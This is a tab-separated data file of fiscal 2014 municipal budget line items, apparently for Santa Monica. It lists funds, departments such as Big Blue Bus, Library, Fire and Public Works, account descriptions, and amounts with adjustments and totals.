9709	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING		 Supplies and Expenses	2014	33300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33300.0
9710	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522620.0	RENT	810.0	 Supplies and Expenses	2014	70613.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	70613.0
9711	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511490.0	OVERTIME	816.0	Salaries and Wages	2014	5195.0	0	0	0	0.0	0	289.0	0	0	0	0	0.0	5484.0
9712	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FUND REIMB FROM PIER FUND	908.0	 Supplies and Expenses	2014	-192038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-192038.0
9713	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	400430.0	LIBRARY FEES	612.0	Charges for Service	2014	-6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6000.0
9714	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	402730.0	SMURRF-CITY OF LA-O & M	650.0	Charges for Service	2014	-156825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-156825.0
9715	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	1495.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1495.0
9716	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	4182.0	0	0	0	0.0	0	600.0	0	0	0	0	0.0	4782.0
9717	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2014	7240.0	0	0	0	0.0	0	600.0	0	0	0	0	0.0	7840.0
9718	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	1471744.0	0	0	0	0.0	98618	-5623.0	0	0	0	0	0.0	1564739.0
9719	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	971302.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	971302.0
9720	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522912.0	OIL FOR REVENUE EQUIPMENT		 Supplies and Expenses	2014	153750.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	153750.0
9721	B1	IS	1	General Fund	310	FIRE	315	TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	2143.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2143.0
9722	B1	IS	1	General Fund	310	FIRE	315	TRAINING	588090.0	FURNITURE & FURNISHINGS	806.0	 Supplies and Expenses	2014	8364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8364.0
9723	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	454.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	454.0
9724	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	496523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	496523.0
9725	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2014	24711.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24711.0
9726	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	25625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25625.0
9727	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2014	-2381.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2381.0
9728	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	11440.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11440.0
9729	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2755.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2755.0
9730	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	4845.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4845.0
9731	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522720.0	MILEAGE	812.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
9732	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533220.0	BLDG / STRUCTURE MAINTENANCE	812.0	 Supplies and Expenses	2014	65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65000.0
9733	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1805.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1805.0
9734	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2014	832006.0	0	0	0	0.0	12363	0.0	0	0	0	0	0.0	844369.0
9735	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	51583.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	51583.0
9736	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	45280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	45280.0
9737	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2014	607286.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	607286.0
9738	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-337744.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-337744.0
9739	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	910.0	 Supplies and Expenses	2014	337744.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	337744.0
9740	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2014	31519.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31519.0
9741	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402000.0	PASSENGER REVENUE	650.0	Charges for Service	2014	-14413839.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14413839.0
9742	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	804.0	 Supplies and Expenses	2014	117360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	117360.0
9743	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407501.0	CAPITAL GRANTS-MISC PROJ-TDA	657.0	Capital Grants	2014	-8855540.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8855540.0
9744	B1	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566871.0	HORSE PATROL - DONATION	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	9873.17	9873.17
9745	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	407550.0	FIRE COMMERCIAL INSPECT FEES	612.0	Charges for Service	2014	-934400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-934400.0
9746	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522840.0	FUEL AND OIL TAXES-SVC EQUIP		 Supplies and Expenses	2014	15375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15375.0
9747	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2014	1025.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1025.0
9748	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	1022788.0	0	0	0	0.0	0	-9.0	0	0	0	0	0.0	1022779.0
9749	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	263606.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	263606.0
9750	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	327511.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	327511.0
9751	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	581375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	581375.0
9752	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	11623.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11623.0
9753	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	2154.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2154.0
9754	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2014	1538.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1538.0
9755	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	29076.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29076.0
9756	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	1729.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1729.0
9757	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	89875.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	89875.0
9758	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	9711.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9711.0
9759	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	4449.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4449.0
9760	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
9761	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522100.0	EXPERT WITNESS COSTS	862.0	 Supplies and Expenses	2014	60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60000.0
9762	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555210.0	TRAINING	862.0	 Supplies and Expenses	2014	120000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	120000.0
9763	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2014	268735.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	268735.0
9764	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402220.0	CEMETERY MISC SALES / SERVICES	650.0	Charges for Service	2014	-274444.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-274444.0
9765	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	-26138.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-26138.0
9766	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	-50000	0	0	0	0.0	-50000.0
9767	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	250000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	250000.0
9768	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9769	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544040.0	BOOKS/PAMPHLETS	816.0	 Supplies and Expenses	2014	50.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50.0
9770	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	351.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	351.0
9771	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566450.0	SEWAGE PUMP PLANT MAINT		 Supplies and Expenses	2014	375000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	375000.0
9772	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2014	394012.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	394012.0
9773	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	2152073.0	0	0	0	0.0	31526	-289.0	0	0	0	0	0.0	2183310.0
9774	B1	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	910.0	 Supplies and Expenses	2014	2395940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2395940.0
9775	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2014	37068.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37068.0
9776	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2014	103.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	103.0
9777	B1	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	400191.0	STREET PERFORMERS PERMIT	608.0	Licenses and Permits	2014	-47000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-47000.0
9778	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522180.0	BANK FEES		 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9779	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	43979.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43979.0
9780	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2014	-21612.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-21612.0
9781	B1	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2014	-444338.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-444338.0
9782	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401540.0	STATE HIGHWAY CLEANING	650.0	Charges for Service	2014	-11600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-11600.0
9783	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405020.0	SALE OF REFUSE BAGS	650.0	Charges for Service	2014	-500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-500.0
9784	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404680.0	HMRRP FEES	612.0	Charges for Service	2014	-106641.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-106641.0
9785	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2014	15514.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15514.0
9786	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544010.0	SPEC DEPT SUPPLIES	816.0	 Supplies and Expenses	2014	10500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10500.0
9787	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511250.0	STANDBY PAY	806.0	Salaries and Wages	2014	30983.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30983.0
9788	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2014	5428.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5428.0
9789	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522950.0	CNG FUEL		 Supplies and Expenses	2014	8830.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8830.0
9790	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566630.0	STORM DRAIN MAINTENANCE		 Supplies and Expenses	2014	175000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	175000.0
9791	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	7500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7500.0
9792	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2014	26083.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26083.0
9793	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	603	SPECIAL SERVICES		CONTRACT SVCS - PARATRANSIT SV		 Supplies and Expenses	2014	640500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	640500.0
9794	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	13325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13325.0
9795	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522180.0	BANK FEES		 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
9796	B1	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS		 Supplies and Expenses	2014	79763.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79763.0
9797	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20000.0
9798	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	105.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	105.0
9799	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	616354.0	0	0	0	0.0	9441	-131.0	0	0	0	0	0.0	625664.0
9800	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	29086.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29086.0
9801	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
9802	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	640565.0	0	0	0	0.0	9627	-13.0	0	0	0	0	0.0	650179.0
9803	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2014	4305.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4305.0
9804	B1	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES		 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9805	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522180.0	BANK FEES		 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
9806	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522180.0	BANK FEES		 Supplies and Expenses	2014	6300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6300.0
9807	B1	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522180.0	BANK FEES		 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9808	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	11794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11794.0
9809	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	3677.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3677.0
9810	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407080.0	30 DAY IMPOUND FEE	612.0	Charges for Service	2014	-111845.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-111845.0
9811	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401130.0	SPORTS LEAGUES	612.0	Charges for Service	2014	-121680.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-121680.0
9812	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400770.0	LEASE RENTAL REVENUE	618.0	Rentals	2014	-3941413.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3941413.0
9813	B1	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	407160.0	STORMWATER IN-LIEU FEES	662.0	Other	2014	-400000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-400000.0
9814	B1	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2014	-18401.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18401.0
9815	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	88252.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	88252.0
9816	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511490.0	OVERTIME		Salaries and Wages	2014	3030.0	0	0	0	0.0	0	375.0	0	0	0	0	0.0	3405.0
9817	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511490.0	OVERTIME		Salaries and Wages	2014	5050.0	0	0	0	0.0	0	13.0	0	0	0	0	0.0	5063.0
9818	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2014	6150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6150.0
9819	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522545.0	AD SALES (BBB)		 Supplies and Expenses	2014	204500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	204500.0
9820	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544113.0	ONBOARD MATERIALS		 Supplies and Expenses	2014	99596.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99596.0
9821	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522111.0	UTIL-LIGHT/POWER-PARKING OPS	804.0	 Supplies and Expenses	2014	179439.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	179439.0
9822	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402750.0	TDA SALES TAX-OPERATIONS	658.0	Sales Tax	2014	-19329273.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-19329273.0
9823	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405820.0	PROP C - BSIP	658.0	Sales Tax	2014	-754403.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-754403.0
9824	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511748.0	DENTAL	808.0	Salaries and Wages	2014	27935.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	27935.0
9825	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407020.0	PROP C TRANSIT SECURITY	658.0	Sales Tax	2014	-1167590.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1167590.0
9826	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407506.0	FED CAPITAL GRANTS-MISC	657.0	Capital Grants	2014	0.0	0	0	0	0.0	0	-223000.0	0	0	0	0	0.0	-223000.0
9827	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402210.0	MAUSOLEUM SALES	650.0	Charges for Service	2014	-135915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-135915.0
9828	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402410.0	SELF-INSURANCE BUS	650.0	Charges for Service	2014	-2500000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2500000.0
9829	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400670.0	FIRE PERMITS / FEES	608.0	Licenses and Permits	2014	-761977.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-761977.0
